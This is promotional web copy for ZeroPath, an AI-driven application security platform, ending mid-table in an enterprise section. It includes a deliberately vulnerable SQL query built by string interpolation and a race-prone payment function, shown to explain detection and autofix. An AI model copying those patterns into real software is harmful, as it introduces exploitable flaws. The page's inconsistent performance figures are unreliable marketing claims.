# ZeroPath - AI-Powered Application Security Platform > ZeroPath is an AI-native application security platform that finds more vulnerabilities with fewer false positives. Trusted by engineering teams to secure code without slowing down development. ## Executive Summary ZeroPath revolutionizes application security by combining advanced AI with deep code analysis. Our platform helps development teams ship secure code faster by dramatically reducing false positives while catching critical vulnerabilities that traditional tools miss. **Key Benefits:** - 🎯 Reduced false positives through AI-powered analysis - ⚡ Fast scanning for large codebases - 🔍 Deep vulnerability detection including business logic flaws - 🛠️ One-click fixes for security issues ## Why ZeroPath? ### The Problem We Solve Traditional security tools generate overwhelming noise with false positives, causing developer fatigue and slowing releases. Meanwhile, they miss critical logic flaws and business logic vulnerabilities that lead to breaches. ### Our Solution ZeroPath's AI understands code context and developer intent, dramatically reducing false positives while catching sophisticated vulnerabilities like authentication bypasses, race conditions, and business logic flaws that rule-based tools miss. ## Core Products & Solutions ### SAST (Static Application Security Testing) Deep semantic analysis across 35+ languages and frameworks **Features:** - AI-powered vulnerability detection with context-aware scanning - Real-time security feedback in IDEs and pull requests - Support for: Python, JavaScript, TypeScript, Java, C#, Go, Ruby, PHP, Swift, Kotlin, Rust, Nim, and more - Best-in-class detection rates with lowest false positive rates **Key Metrics:** - False positive reduction: **Significant** - Languages supported: **35+** - Scan time: **Fast** ### SAST Autofix One-click AI-generated fixes for security vulnerabilities **Features:** - Context-aware patches that maintain code functionality - Automated pull request generation with security fixes - Reduces remediation time from hours to seconds - Natural language refinement in PR comments - Centralized management for Snyk, Semgrep, Checkmarx, SonarQube, Veracode, Fortify, and Synopsys **Key Metrics:** - Fix generation: **Automated** - Fix accuracy: **High** - Tools supported: **7+** ### Software Composition Analysis (SCA) Comprehensive dependency scanning across all major package ecosystems **Features:** - Exploitability analysis to determine actual risk - AI-assessed CVSS 4.0 scores based on your specific usage - Package ecosystems: npm, PyPI, Maven, RubyGems, NuGet, Go modules, Cargo, Composer, Docker/OCI - Real-time vulnerability monitoring with 24/7 alerts - SBOM export in CycloneDX format - 90% noise reduction with usage-based risk analysis **Key Metrics:** - Noise reduction: **Significant** - Package ecosystems: **35+** - Vulnerability updates: **Real-time** ### End-of-Life Detection Track deprecated components before they become security risks **Features:** - Operating Systems: Ubuntu, RHEL, CentOS, Debian, Alpine, container base images - Languages & Runtimes: Python, Node.js, Ruby, Java, PHP, Go, .NET versions - Frameworks: Rails, Django, Spring, and 35+ other technologies - Database and infrastructure component monitoring - Configurable alert timelines (3-24 months advance notice) - AI-generated migration paths with effort estimation **Key Metrics:** - Technologies tracked: **Thousands** - Advance notice: **Months ahead** - Migration assistance: **AI-powered** ### Secret Detection Identify exposed credentials, API keys, and tokens **Features:** - Support for 700+ secret patterns - Custom pattern definition for proprietary secrets - Historical scanning to find secrets in git history - Automated remediation workflows - AI false positive reduction for test credentials - Risk-based prioritization with CVSS 4.0 scoring **Key Metrics:** - Secret patterns: **700+** - False positive reduction: **AI-powered** - Detection speed: **Real-time** ### Infrastructure as Code (IaC) Security Scan Terraform, CloudFormation, Kubernetes, Helm configurations **Features:** - 500+ built-in security policies - Detect misconfigurations before deployment - Policy-as-code enforcement - Cloud provider best practices: AWS, Azure, GCP - Compliance checking: SOC2, HIPAA, PCI-DSS, ISO 27001 - Support for ARM Templates, Kubernetes YAML, Dockerfiles, Kustomize **Key Metrics:** - Security policies: **500+** - Cloud platforms: **AWS, Azure, GCP** - Compliance frameworks: **Multiple** ### AI Code Review Automated security review for every pull request **Features:** - Context-aware analysis understanding code intent - Reduced false positives through semantic understanding - Integration with existing review workflows - Custom security policy enforcement - Business logic and authorization flaw detection - Comprehensive detection: secrets, IaC, SCA, SAST issues in one place **Key Metrics:** - Review speed: **Fast** - Pre-merge detection: **Comprehensive** - Developer experience: **Seamless** ### Policy Engine Define custom security policies in natural language **Features:** - Natural language policy definition - Automated enforcement across repositories - Risk scoring and prioritization - Compliance reporting and audit trails - Role-based access control - Custom code quality and security standards ### Security Analytics & Risk Management Track remediation times, vulnerability trends, and team performance **Features:** - Git blame integration for vulnerability attribution - Team and developer analytics - MTTR tracking and performance metrics - AI-powered CVSS 4.0 scoring - PDF and DOCX report generation - Jira and Linear two-way sync **Key Metrics:** - MTTR improvement: **Significant** - Tracking accuracy: **High** - Report formats: **Multiple** ## Product Pages (Detailed) ## Solutions & Use Cases ### AI Application Security (AI AppSec) **URL**: https://zeropath.com/solutions/ai-appsec ## What is AI Application Security? AI Application Security (AI AppSec) represents the next evolution in code security. Instead of relying on predefined patterns and rules, AI-powered security tools understand your code's context, business logic, and actual intent. This means fewer false positives, more accurate vulnerability detection, and patches that actually work. ZeroPath leverages AI to: - Understand complex code relationships across your entire codebase - Generate precise, context-aware security patches - Reduce false positives by over 75% compared to traditional SAST - Detect business logic flaws that require human-like reasoning - Automatically triage and assign vulnerabilities to the right developers ## How AI Transforms Application Security ### Contextual Code Understanding Traditional SAST tools see this: ```javascript const query = `SELECT * FROM users WHERE id = ${userId}`; ``` And flag it as SQL injection. Every time. Even when userId is validated, sanitized, and comes from a trusted source. ZeroPath's AI sees the complete picture: - Where userId originates (JWT token, user input, internal system) - What validation happens before this line - Whether the database driver auto-escapes this pattern - The actual exploitability in your specific context Result: Real vulnerabilities get flagged. False positives don't. ### Intelligent Vulnerability Detection Our AI-powered analysis finds vulnerabilities that require understanding, not just pattern matching: **Business Logic Flaws**: A discount system that allows negative prices when coupons are applied in a specific order. Traditional tools can't understand business rules. AI can. **Complex Authorization Bugs**: An admin check that only works for the primary tenant in a multi-tenant application. This requires understanding application architecture, not just code syntax. **Race Conditions**: Timing vulnerabilities in payment processing that could allow double-spending. AI analyzes execution paths and state management across multiple components. **Modern Attack Vectors**: From prompt injection in LLM integrations to SSRF in microservices architectures, AI adapts to new vulnerability classes automatically. ### Automated Security Engineering When ZeroPath finds a vulnerability, our AI doesn't just point at the problem. It solves it: ```python # Vulnerable code def process_payment(amount, user_id): if check_balance(user_id) >= amount: deduct_balance(user_id, amount) return "Success" # AI-generated patch def process_payment(amount, user_id): with transaction.atomic(): # AI adds transaction safety current_balance = check_balance(user_id) if current_balance >= amount: # AI recognizes race condition potential if deduct_balance_atomic(user_id, amount, expected_balance=current_balance): return "Success" else: return "Transaction failed: Balance changed" ``` The AI understands the race condition risk and generates a complete fix using your framework's patterns. ## Real-World AI AppSec in Action ### Financial Services Company A major fintech used ZeroPath's AI-powered platform on their payment infrastructure: - **SAST**: Found 12 business logic flaws that traditional tools missed - **SCA**: AI reachability analysis showed only 3 of 47 flagged CVEs were actually exploitable - **IaC**: Discovered overly permissive S3 buckets but intelligently ignored intended public assets - **Secrets**: Found leaked API keys while filtering out 200+ false positives from public identifiers Result: 95% reduction in security noise, 20 hours/week saved on triage ### Healthcare Platform AI-powered scanning across their entire stack revealed: - **SAST**: Complex authorization bypasses spanning multiple microservices - **SCA**: Critical vulnerability in image processing library actually used in patient data handling - **IaC**: HIPAA compliance issues in cloud configurations with AI-prioritized fixes - **Combined**: AI correlated findings to show how an IaC misconfiguration could amplify a code vulnerability All issues came with working patches and accurate severity scores based on actual risk. ### E-commerce Giant ZeroPath's AI discovered that their pricing engine could be manipulated through a specific API sequence. The AI: - Understood the intended business logic - Identified the implementation gap - Generated a comprehensive fix maintaining backward compatibility - Suggested additional test cases to prevent regression ## Why AI-Powered Security Matters ### Intelligent Noise Reduction The biggest complaint about security tools? Too many false positives. ZeroPath's AI changes that:

SCA Without AI

"You have 500 vulnerable dependencies!"

SCA With AI

"You have 12 exploitable vulnerabilities in code paths you actually use"

IaC Without AI

"223 misconfigurations found!"

IaC With AI

"7 critical misconfigurations that expose production data"

SAST Without AI

"Potential SQL injection on line 1,847"

SAST With AI

"No risk. Input is pre-validated and query is parameterized"

AI understands context across your entire stack to show what actually matters. ### Scale Without Sacrificing Quality Manual code review doesn't scale. Traditional tools generate too much noise. AI-powered security gives you: - Comprehensive analysis of million-line codebases - Consistent, high-quality findings across SAST, SCA, IaC, and secrets - Automatic prioritization based on actual risk, not generic severity - Security expertise encoded in every scan ### Adapt to Your Codebase Every codebase is unique. ZeroPath's AI learns your: - Coding patterns and conventions - Framework-specific security controls - Custom authentication and authorization logic - Business-specific security requirements This means patches that look like your team wrote them and findings relevant to your actual architecture. ### Keep Pace with Modern Development New frameworks, libraries, and attack vectors emerge constantly. AI-powered security: - Understands new code patterns without rule updates - Detects novel vulnerability classes - Generates fixes using the latest framework features - Adapts to your evolving architecture ## Comprehensive Security Coverage ### What ZeroPath's AI Finds

Traditional Vulnerabilities (SAST)

Dependency Vulnerabilities (SCA)

Infrastructure Security (IaC)

Secrets & Credentials

Complex Security Issues

Modern Threats

### How AI Makes the Difference For each finding across SAST, SCA, IaC, and secrets detection, ZeroPath's AI: - Determines actual exploitability in your specific context - Calculates accurate CVSS scores based on your architecture - Filters out false positives before they waste developer time - Generates context-aware fixes that work in your codebase Example: A critical CVE in a logging library might be marked as low severity by AI because it's only used in test code. A medium severity misconfiguration might be elevated to critical because AI understands it exposes your payment processing service. ## Developer-First AI Security ### Centralized Security with AI Enhancement Already using other security tools? ZeroPath's AI makes them better. Import findings from Semgrep, Snyk, Checkmarx, SonarQube, Veracode, Fortify, or Synopsys and our AI will: - Validate findings to eliminate false positives - Generate working patches for valid vulnerabilities - Provide consistent severity scoring across all tools - Create a unified security dashboard Stop drowning in alerts from multiple tools. Let AI filter, validate, and fix. ### Natural Language Security Policies Tell ZeroPath what matters in plain English: - "Flag any API endpoint that doesn't check user permissions" - "Alert on database queries constructed from user input" - "Find payment processing without proper transaction handling" - "Check that all password resets have rate limiting" AI translates these into comprehensive security analysis across your entire codebase. ### Intelligent Developer Workflow AI powers every step of the security process: 1. **Smart Attribution**: Vulnerabilities automatically assigned to the developer who introduced them 2. **Contextual Explanations**: AI explains vulnerabilities in terms of your specific code 3. **Interactive Remediation**: Ask follow-up questions about any finding 4. **Automated Testing**: AI generates test cases for security fixes ### Learn While You Code Each AI-generated finding includes: - Why this pattern is vulnerable in your context - How attackers could exploit it - Best practices for your specific framework - Similar patterns to watch for Security education built into your daily workflow. ## Getting Started with AI Application Security
1

Connect Your Repository (30 seconds)

AI AppSec begins analyzing immediately:

2

See AI-Driven Insights (30 seconds)

Within seconds, get:

3

Enable Continuous AI Protection

## The Numbers That Matter
75%

fewer false positives than traditional SAST

<60s

PR scans without sacrificing depth

750+

companies trusting AI-powered security

125k+

scans monthly continuously improving our AI

Real security teams are already seeing the difference AI makes. ## Why ZeroPath for AI Application Security ### Purpose-Built for AI AppSec We didn't bolt AI onto an existing tool. ZeroPath was designed from day one to leverage AI for superior application security outcomes: - LLMs trained on millions of real vulnerabilities - AST analysis providing deep code structure understanding - Continuous learning from new vulnerability patterns - Security expertise from finding zero-days at Netflix, Hulu, and Salesforce ### Proven AI That Works Our AI has already: - Generated thousands of production-ready security patches - Reduced security review time from weeks to hours - Found business logic flaws human reviewers missed - Helped teams achieve compliance 3x faster ### Complete Platform, AI-Powered One platform for all your security needs:
**SAST** - AI eliminates false positives by understanding code context and actual exploitability **SCA** - AI analyzes dependency vulnerabilities to determine which ones actually affect your code through reachability analysis. No more fixing vulnerabilities in unused functions. **IaC Security** - AI understands your infrastructure patterns to catch real misconfigurations while ignoring acceptable variations in your environment **Secrets Detection** - AI reduces noise by understanding which exposed strings are actual secrets vs non-sensitive IDs **SBOM Generation** - Complete software composition analysis with AI-filtered insights Every scan uses AI to: - Calculate accurate severity scores based on your specific context - Filter out false positives before they reach developers - Prioritize findings by actual business risk - Generate fixes that match your coding standards
## Start Your AI Application Security Journey Join the hundreds of companies already using AI AppSec to transform their application security. See what AI-powered security can find in your code in just 60 seconds.
Book a Demo
--- ### AI-Powered Code Review **URL**: https://zeropath.com/solutions/ai-code-review ## The Challenge Manual code reviews are time-consuming and inconsistent. Security experts can't review every PR, and developers often lack deep security knowledge. Meanwhile, traditional static analysis tools generate overwhelming noise with minimal context. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Security reviews bottleneck releases**
Limited security experts can't review every change | **AI-powered automated reviews**
Every PR gets expert-level security analysis in under 60 seconds | | **Reviewers miss subtle vulnerabilities**
Complex data flows and business logic issues slip through | **Deep context understanding**
AI traces data flows across files and understands business logic | | **Inconsistent review quality**
Different reviewers catch different issues | **Standardized AI analysis**
Consistent, comprehensive checks based on your security policies | | **No actionable feedback**
Developers don't know how to fix flagged issues | **One-click fixes with explanations**
AI generates secure patches and explains the vulnerability | ## How it Works

1. Analyze

AI reviews every commit, understanding code intent and security implications

2. Detect

Identifies security vulnerabilities, from OWASP Top 10 to business logic flaws

3. Explain

Provides clear explanations with proof-of-concept and impact analysis

4. Fix

Generates secure patches that match your coding standards

## Key Capabilities ### Intelligent Security Analysis - **Context-aware detection** - Understands your application's architecture and data flows - **Business logic analysis** - Catches authorization bypasses and logic flaws - **Custom policy enforcement** - Enforces your organization's security standards - **Learning from feedback** - Improves accuracy based on your team's decisions ### Developer-Friendly Integration - **PR comments with fixes** - Security feedback appears directly in pull requests - **API for custom workflows** - Integrate with your existing tools and processes - **Slack/Teams notifications** - Keep security teams informed of critical findings ### Comprehensive Coverage - **All major languages** - Support for Python, JavaScript, Java, Go, and more - **Framework-aware** - Understands React, Django, Spring, and other frameworks - **Infrastructure as Code** - Reviews Terraform, CloudFormation, and Kubernetes configs - **API security** - Analyzes REST, GraphQL, and gRPC implementations --- ### AI SAST **URL**: https://zeropath.com/solutions/ai-sast ## What is AI SAST? AI-powered Static Application Security Testing (AI SAST) combines traditional code analysis with machine learning and large language models to deliver security insights that actually matter. Unlike pattern-matching tools that flood you with false positives, AI SAST understands your code's intent, architecture, and business logic.

See the Difference

Traditional SAST floods you with alerts. AI SAST shows what actually matters - real vulnerabilities with contextual understanding and actionable fixes.

ZeroPath AI SAST reducing false positives compared to traditional SAST tools
## The Problem with Traditional SAST Every security engineer knows the drill. Your SAST tool runs overnight and delivers a report with thousands of "critical" findings. You spend the next week triaging, only to discover that 95% are false positives. The real vulnerabilities? They're hiding in the noise, or worse, they're business logic flaws your tool can't even detect. Traditional SAST tools fail because they: - Rely on rigid pattern matching - Can't understand code context or business logic - Generate generic patches that break functionality - Miss modern vulnerability classes like prompt injection - Create more work than they save ## How AI SAST Changes Everything ZeroPath's AI SAST technology represents a fundamental shift in application security. By combining Abstract Syntax Tree (AST) analysis with large language models, we deliver security analysis that thinks like a senior security engineer. ### Deep Code Understanding Our AI SAST engine builds a comprehensive model of your application. Unlike pattern matching, ZeroPath understands: - How data flows through your application - Which security controls are actually effective - When business logic doesn't match implementation - Why certain code patterns are safe in your specific context ### Real Vulnerabilities, Not False Positives Traditional SAST might flag every database query as potentially vulnerable. ZeroPath's AI SAST understands when: - Queries are properly parameterized - Input validation makes exploitation impossible - Authentication checks prevent unauthorized access - Framework protections are correctly implemented
ZeroPath AI SAST contextual analysis of SQL queries showing real vs false positives

Contextual Understanding

Our AI doesn't just pattern match - it understands your entire security context. It knows when a query is safe because of upstream validation, framework protections, or proper parameterization.

Example: Traditional SAST sees string concatenation and screams "SQL injection!" Our AI sees the JWT validation, role checks, and parameterized execution that make it safe.

## AI SAST in Action ### Business Logic Detection A major e-commerce platform discovered their checkout system could be exploited to create negative prices by applying discounts in a specific sequence. Traditional SAST missed this completely because it required understanding business rules, not just code patterns. ZeroPath's AI SAST found it in minutes. ### Modern Threat Detection As LLMs become integrated into applications, new vulnerability classes emerge. ZeroPath's AI SAST already detects: - Prompt injection vulnerabilities - Unsafe LLM response handling - Token leakage in AI integrations - Model manipulation attacks ### Intelligent Patch Generation Finding vulnerabilities is only half the battle. ZeroPath's AI SAST generates contextually-aware patches that: - Respect your coding standards - Preserve existing functionality - Include proper error handling - Match your application's patterns
ZeroPath AI SAST generating intelligent security patches with context-aware fixes

Instant Fixes

One-click patches that actually work in your codebase

Code-Aware

Matches your coding style and patterns perfectly

Safe Changes

Preserves functionality while fixing security issues

## AI DevSecOps Tools Integration ZeroPath isn't just another tool in your stack. It's the intelligence layer that makes your entire DevSecOps pipeline smarter. ### Transform Your Existing SAST Tools Already using Semgrep, Snyk, or Checkmarx? ZeroPath's AI enhances their output: 1. **Import findings** from any major SAST tool 2. **AI validation** eliminates false positives 3. **Automatic patches** for real vulnerabilities 4. **One-click fixes** that actually work

5,000 → 127

That's the typical reduction when ZeroPath's AI processes your existing SAST findings.

  • ✓ Real vulnerabilities identified with context
  • ✓ Automatic patches for every finding
  • ✓ Hours of triage reduced to minutes
ZeroPath dashboard showing consolidated SAST findings with AI-powered triage and remediation
### Seamless CI/CD Integration - **Sub-60 second PR scans** that don't block deployments - **Automatic issue attribution** to the right developer - **Natural language security policies** anyone can write - **Break-glass access** for emergency deployments
ZeroPath AI SAST integration in GitHub pull requests with inline security feedback

Shift Left, Without the Friction

Security feedback right in the PR. Developers fix issues before they merge, not months later in production.

<60s
Scan time
### Developer-First Security Security tools traditionally create friction. ZeroPath's AI DevSecOps approach accelerates development: - **Q&A with findings**: "Why is this vulnerable?" "How could this be exploited?" - **Custom rule creation**: "Flag any API endpoint without rate limiting" - **Learning mode**: Developers improve their security knowledge through intelligent feedback ### Speak Security, Not Regex Security tools traditionally create friction. ZeroPath's AI DevSecOps approach accelerates development: - **Q&A with findings**: "Why is this vulnerable?" "How could this be exploited?" - **Custom rule creation**: "Flag any API endpoint without rate limiting" - **Learning mode**: Developers improve their security knowledge through intelligent feedback
ZeroPath natural language interface for security policy creation and Q&A

Ask Questions

Get explanations in plain English about vulnerabilities and fixes

Custom Rules

Create security policies without regex knowledge

Learn As You Go

Build security expertise through intelligent feedback

## Industry-Specific AI SAST Solutions

Financial Services

Healthcare

SaaS & Technology

## The ZeroPath Advantage ### Speed Meets Accuracy - **750+ companies** trust ZeroPath - **125,000+ scans** performed monthly - **<60 second** PR scan time ### Comprehensive Coverage - **15 languages** supported - **Business logic** vulnerability detection - **Modern threats** like prompt injection - **Zero-day discoveries** at Netflix, Hulu, and Salesforce ### Enterprise Ready - **1-minute setup** for any size organization - **Multi-VCS support** (GitHub, GitLab, Bitbucket, Azure) - **Enterprise SSO** and audit logs - **Team-based permissions** and controls ## Getting Started with AI SAST

1. Connect Repository

Link your VCS with one-click OAuth integration

30 seconds

2. Run AI Scan

See real vulnerabilities, not false positives

30 seconds

3. Apply Fixes

One-click patches that respect your codebase

Instant

## The Future of Application Security AI SAST isn't just an incremental improvement. It's a paradigm shift in how we approach code security. As development accelerates and applications grow more complex, security tools must evolve beyond pattern matching to true code comprehension. ZeroPath is leading this evolution. Our AI SAST platform doesn't just find vulnerabilities; it understands your code, generates fixes, and helps your team build more secure applications from the ground up. ## Start Your AI SAST Journey Join the 750+ companies already using ZeroPath to transform their application security. See why developers love our approach and security teams trust our results. **[Book a demo](/demo)** to see AI SAST in action on your own code. --- ### Resources - [Technical Deep Dive: How ZeroPath's AI SAST Works](https://zeropath.com/blog/how-zeropath-works) - [API Documentation](https://zeropath.com/docs) - [CLI Tool for CI/CD Integration](https://github.com/ZeroPathAI/zeropath-cli) ### Questions? Contact our team at hello@zeropath.com --- ### API Security **URL**: https://zeropath.com/solutions/api-security ## The Challenge APIs can change with every deployment, and all of it has to remain indexed. Adopting specific frameworks can help impose structure, but what about legacy code or shadow endpoints that eschew those policies? In a large organization with diverse applications, keeping a good overview of your current API posture often means either imposing bureaucratic structure on your developers or requiring security engineers to sift through documentation and code on their own time. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **No single system for organizing and registering endpoints** | **LLMs crawl your codebase for input handlers** | **Static SASTs have no visibility or understanding of auth** | **Universal business logic and authentication scanning** | **Static scanners see code but ignore live request paths** | **Source-to-sink analysis links route definitions to handler logic** | | **Security teams sift through piles of false positives** | **Reachability checks hide unreachable endpoints and unused functions** | ## How it Works

1. Discover

Automatically map all API endpoints across REST, GraphQL, gRPC, and WebSockets

2. Analyze

Trace data flows from endpoint to database, understanding authentication and authorization

3. Detect

Identify OWASP API Top 10 vulnerabilities and business logic flaws

4. Protect

Generate fixes and update API documentation automatically

## Key Capabilities ### API-Focused Features - **Automatic discovery** of REST, GraphQL, gRPC, and WebSocket routes - **Data-flow tracing** that surfaces broken auth, business logic flaws, injection issues, and SSRF - **Secret detection** for leaked tokens and keys used in API calls - **Instant Swagger and OpenAPI spec export** to keep docs in sync with reality ### Advanced Security Detection - **Broken Object Level Authorization (BOLA)** - Detect when users can access resources they shouldn't - **Broken Function Level Authorization** - Find admin endpoints exposed to regular users - **Mass Assignment vulnerabilities** - Identify when APIs accept unexpected parameters - **Rate limiting analysis** - Ensure proper throttling on sensitive endpoints - **Input validation gaps** - Catch missing sanitization before data hits your database ### Developer-Friendly Integration - **Pull request comments** - Security feedback appears directly where developers work - **API security scorecard** - Track security posture improvement over time - **Postman collection generation** - Export secure API test suites - **CI/CD pipeline integration** - Block deployments with critical API vulnerabilities --- ### Application Security **URL**: https://zeropath.com/solutions/application-security ## The Challenge Picture a typical sprint: a PR lands ten minutes before cut-off. Your scanner flags 3 items, two of them false. The team rolls the dice and deploys. Six months later Incident Response is on the call. ZeroPath rewrites that story: an on-push scan runs in under 60 seconds, returns only three exploitable issues, and supplies ready-to-merge patches that match your code style. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Legacy scanners flood developers with noise**
Teams ignore security alerts due to false positive fatigue | **92% alert reduction**
AI-powered analysis shows only real, exploitable vulnerabilities | | **Security fixes break functionality**
Generic patches don't understand your codebase | **Context-aware autopatch**
Generates fixes that match your code style and preserve functionality | | **Vulnerabilities discovered too late**
Finding issues in production is expensive and risky | **Shift-left security**
Sub-minute scans catch issues at commit time, not deployment | | **Developers lack security expertise**
Not everyone knows how to fix complex vulnerabilities | **Built-in security guidance**
Clear explanations and one-click fixes empower every developer | ## How it Works

1. Scan

Real context SAST detects SQLi, XSS, SSRF, broken authN/authZ, and business logic issues

2. Prioritize

AI scores issues based on CVSS 4.0, considering entire context to prevent wasted developer time

3. Fix

Autopatch generates a secure diff in your branch that matches your coding standards

4. Verify

Fail-safe CI blocks until vulnerability is verified as fixed (with audited break-glass option)

## Key Capabilities ### Comprehensive Security Coverage - **Real context SAST** - Ability to detect SQLi, XSS, SSRF, broken authN/authZ, and business logic issues - **Credential guard** - Detects hard-coded keys and leaked tokens the moment they appear - **Dependency analysis** - Identifies vulnerable libraries and suggests secure alternatives - **Infrastructure as Code** - Secures Terraform, CloudFormation, and Kubernetes configurations ### Developer Experience - **Pull request automation** - Security reviews happen automatically on every PR - **Clear remediation guidance** - Understand why something is vulnerable and how to fix it - **Learning mode** - Improves accuracy based on your team's feedback - **Less noise** - 80% lower false positive rate than traditional alternatives ### Enterprise Features - **Custom policy enforcement** - Implement your organization's specific security requirements - **Compliance reporting** - Track SOC2, PCI-DSS, and other compliance requirements - **Security metrics dashboard** - Measure and improve your security posture over time - **Role-based access control** - Control who can view and override security findings --- ### Automate Compliance **URL**: https://zeropath.com/solutions/automate-compliance ## The Challenge Frameworks like SOC 2, ISO 27001, and PCI DSS expect ongoing proof of control effectiveness, not a PDF you assemble once a year. Manual compliance processes drain resources and leave gaps that auditors will find. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Last-minute audit scrambles**
Teams rush to gather evidence weeks before audits | **Continuous compliance tracking**
Every scan generates fresh audit evidence automatically | | **Manual evidence collection**
Hours spent compiling spreadsheets and screenshots | **Automated evidence packs**
Schedule weekly exports to Vanta, Drata, or ServiceNow GRC | | **Control mapping confusion**
Unclear which findings map to which controls | **Control-aligned scanning**
Each finding mapped to exact control clauses | | **Data privacy compliance**
PHI/PII leaks go undetected in code | **Natural language detection**
Custom rules deployed in minutes across your organization | ## How it Works

1. Scan

SAST, SCA, secret, and IaC scans map each finding to exact control clauses

2. Track

Dashboards show MTTR, SLA breaches, and risk trends by business unit

3. Report

Schedule evidence packs with signed SBOMs and fix verification records

4. Attest

Generate audit-ready attestations with cryptographic proof of compliance

## Key Capabilities ### Control-Aligned Scanning - **SOC 2 mapping** - Direct alignment to all relevant Trust Service Criteria - **ISO 27001 coverage** - Automated evidence for Annex A controls - **PCI DSS requirements** - Continuous monitoring of Requirements 6.x - **Custom frameworks** - Map to your organization's specific controls ### Automated Evidence Collection - **Signed SBOMs** - Complete dependency tracking with cryptographic signatures - **Immutable scan logs** - Tamper-proof records with timestamps - **Fix verification** - Automated proof of remediation timelines - **Policy compliance** - Evidence of security policy enforcement ### Enterprise Organization - **Workspace isolation** - Separate environments for subsidiaries or client projects - **Granular RBAC** - Enforce least-privilege access across teams - **Multi-tenant architecture** - Secure data segregation for different business units - **Audit trails** - Complete activity logs for compliance reviews ### Data Privacy Protection - **PHI/PII detection** - Natural language rules find sensitive data patterns - **GDPR compliance** - Detect personal data processing in code - **Custom rule creation** - Deploy organization-specific rules in minutes - **Cross-repository enforcement** - Consistent privacy protection everywhere --- ### Dev and DevOps Teams **URL**: https://zeropath.com/solutions/dev-ops ## The Challenge Traditional SAST forces you to choose between speed and safety. [60% of teams say at least one-fifth of alerts are false positives](https://www.blackduck.com/blog/black-duck-devsecops-report.html) that break the build for no reason. Late findings trigger re-work that can derail sprint goals and release trains. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **False positives breaking builds**
Teams waste hours investigating non-issues | **LLM-driven false-positive suppression**
Pipeline fails only on issues that matter | | **Late-stage security surprises**
Critical issues found after code is in production | **Shift-left scanning in CI/CD**
Catch vulnerabilities at commit time, not release time | | **Tool sprawl slowing pipelines**
Multiple security tools add minutes to every build | **All-in-one security scanning**
SAST, SCA, secrets, IaC, custom policies, PR reviews, risk management, and autofix in a single fast scan | | **Manual remediation bottlenecks**
Security fixes block releases for days or weeks | **Auto-generated patches**
One-click fixes and Auto AppSec Mode for critical issues | ## How it Works

1. Integrate

Native CI/CD hooks for GitHub, GitLab CI, Azure, Bitbucket Pipelines and any generic runner

2. Scan

Context-aware scanning combines SAST, SCA, secrets, IaC, and policy checks in under 60 seconds

3. Fix

One-click pull request patches with Auto AppSec Mode for hands-free remediation

4. Ship

Policy-driven approvals ensure security without blocking legitimate releases

## Key Capabilities ### Native CI/CD Integration - **Zero-friction gates** exactly where you want them - **Branch protection rules** that enforce security policies - **Parallel scanning** that doesn't slow down builds - **Incremental analysis** for lightning-fast feedback ### Intelligent Alert Management - **AI-powered triage** reduces false positives by 75% - **Risk-based prioritization** focuses on what matters - **Developer-friendly context** with code examples - **Smart suppression rules** that learn from your decisions ### Automated Remediation - **One-click fixes** generated by AI that understands your codebase - **Auto AppSec Mode** opens merge-ready PRs for critical issues - **Unit test generation** ensures fixes don't break functionality - **Style-matching patches** that look like your team wrote them ### Unified Security Platform - **Single scan** for SAST, SCA, secrets, IaC, and custom policies - **Consolidated reporting** across all security domains - **Unified policy engine** for consistent enforcement - **Single pane of glass** for all security metrics ## Outcomes That Matter - **Slash MTTR** with auto-generated patches and policy-driven approvals - **Keep velocity high** - teams that find-and-fix in the same pipeline phase release 2-3× faster - **Reduce context switching** with security feedback directly in your development tools - **Improve code quality** with consistent security standards across all repositories --- ### DevSecOps **URL**: https://zeropath.com/solutions/dev-sec-ops ## The Challenge Velocity defines success in DevSecOps. [36-40% of organizations still lack the in-house skills](https://www.gartner.com/en/documents/4002367) to run DevSecOps at scale, and engineers disable slow security stages first when builds threaten to exceed five minutes. Traditional security tools weren't built for the speed of modern CI/CD. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Security tools killing build times**
5+ minute scans get disabled to meet SLAs | **Incremental diff scanning**
Sub-60 second scans on typical microservice commits | | **Alert fatigue from noisy tools**
Hundreds of notifications drowning real issues | **Policy-driven alerting**
Only fires when findings breach policy thresholds | | **Manual security ticket creation**
Hours wasted translating findings to actionable tasks | **Auto-AppSec mode**
Automatically raises PRs for high-severity issues | | **Lack of DevSecOps metrics**
No visibility into security impact on velocity | **Pipeline analytics**
Real-time metrics on scan duration, pass rates, and rework costs | ## How it Works

1. Incremental Scanning

Analyzes only changed code paths, completing in under 60 seconds

2. Smart Scheduling

Deep weekend scans with Auto-AppSec mode for comprehensive coverage

3. Integrated Alerting

Native integration with Slack, Teams, Jira, and Linear

4. Continuous Improvement

Analytics dashboard tracks security velocity metrics

## Key Capabilities ### Built for Speed - **Incremental analysis** scans only what changed - **Parallel processing** leverages modern CI/CD infrastructure - **Smart caching** remembers previous scan results - **Optimized algorithms** designed for microservices architecture ### Intelligent Automation - **Auto-AppSec mode** schedules deep scans during off-hours - **Automated PR creation** for high-severity findings - **Smart remediation** generates fixes that match your coding standards - **Policy-as-code** enforces security standards automatically ### Developer-Friendly Integration - **Native CI/CD support** for all major platforms - **API-first design** enables custom integrations - **GitOps compatibility** for infrastructure-as-code workflows ### Enterprise Observability - **Real-time dashboards** track security KPIs - **MTTR benchmarking** against industry standards - **Cost analysis** shows security impact on velocity - **Compliance reporting** for regulated industries ## Proven Results Teams adopting ZeroPath see: - **8-10% increase** in deployment throughput - **60% reduction** in security-related build failures - **75% faster** mean time to remediation - **75% fewer** false positive alerts --- ### Manage Enterprise AppSec Risk **URL**: https://zeropath.com/solutions/enterprise ## The Challenge [Veracode's 2025 figures place the average time to fix half of outstanding vulnerabilities at 252 days](https://www.veracode.com/press-release/public-sector-application-risk-accumulates-as-security-debt-grows-across-government-systems/) across large private-sector organizations. Security leadership needs cross-tool context and predictive insight to bend that curve. ## Common Pain Points & How ZeroPath Solves Them | Pain Point | How ZeroPath Solves It | |------------|------------------------| | **Fragmented security tools**
Multiple dashboards, no unified view of risk | **Command-center analytics**
Single pane of glass for all AppSec metrics | | **Compliance documentation burden**
